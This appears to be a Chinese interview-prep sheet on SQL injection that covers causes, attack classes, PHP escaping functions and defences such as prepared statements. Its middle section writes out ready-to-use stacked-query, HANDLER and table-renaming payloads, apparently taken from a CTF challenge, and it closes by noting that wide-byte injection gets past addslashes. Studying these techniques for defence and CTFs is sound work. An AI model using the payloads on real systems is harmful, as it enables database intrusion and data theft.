SQL面试题
一、WEB:
## 1-SQL注入原理
```shell
# WEB应用程序对用户输入的数据
# 没有过滤或者过滤的不严谨
# 并且把用户输入的数据当作SQL 语句
# 带入到数据中去执行
```
## 2-SQL注入分类
```shell
# 从反馈结果来分
1-回显型
2-无回显型/盲注
# 从攻击手法上来分
1-联合查询注入 union select
2-堆叠注入 ;
3-报错注入 updatexml、floor、ExtractValue 其他的用的不多不用说
4-盲注
4.1-布尔盲注
4.2-时间盲注
5.整数型注入
6.字符型注入
7.MySQL结构
8.Cookie注入
9.过滤空格
10.UA注入
11.Refer注入
12.宽字节注入
```
## 3-SQL注入防御
```shell
# 代码层防御
1-对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。
2-限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。
3-使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。
# 网络层面
部署防护墙和软硬WAF
堆叠注入:
1' ; show databases %23
1' ; select version() %23
1' ; show tables %23
1' ; show columns from 表 %23


?inject=1' or '1'='1
?inject=1' order by 3%23
?inject=1' union select 1,2%23
?inject=1';show tables%23
?inject=-1’;show columns from `1919810931114514` %23
handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
handler 别名 close;(将这个句柄实例关闭)
?inject=1';handler1919810931114514open as toert;handler toert read next%23
?id=1';rename table words to word;rename table1919810931114514to words;alter table words change flag id varchar(100);show tables;
?id=1' or '1'='1
updatexml:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
floor:floor(x),也写做Floor(x),其功能是“向下取整”,或者说“向下舍入”,即取不大于x的最大整数(与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个整数值)。
ExtractValue:
extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
PHP中
addslashes():
1)addslashes()作用及使用
addslashes()通常用于防止sql注入,它可对通过get,post和cookie传递过来的参数的单引号和双引号已经null前加“\”进行转义
如:如变量$str=$_POST["str"];的值为:bb' or 1='1。通过addslashes()函数过滤后会变为:bb\' or 1=\'1;
2)htmlspecialchars()作用及使用
htmlspecialchars()也是对字符进行转义,与addslashes()不同的是htmlspecialchars()是将特殊字符用引用实体替换。
如<script>alert('xss')</script>通过htmlspecialchars()过滤后为<script>alert('xss')</script>
mysql_real_escape():
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
PHP中
preg_replace():
- preg_replace()该函数接收三个参数
| 参数 | 作用 |
|---|---|
| pattern | 正则表达式或者要匹配的内容 |
| replacement | 要替换的内容 |
| subject | 要操作的对象 |
函数正则替换关键字
<?php
$num = '4';
$string = "This string has four words.";
$string = preg_replace('/four/',$num, $string);
echo $string; #This string has 4 words.
?>
#This string has 4 words.
addslasher函数实锤了,
那么要从中逃逸出去。
考虑到宽字节注入。

浙公网安备 33010602011771号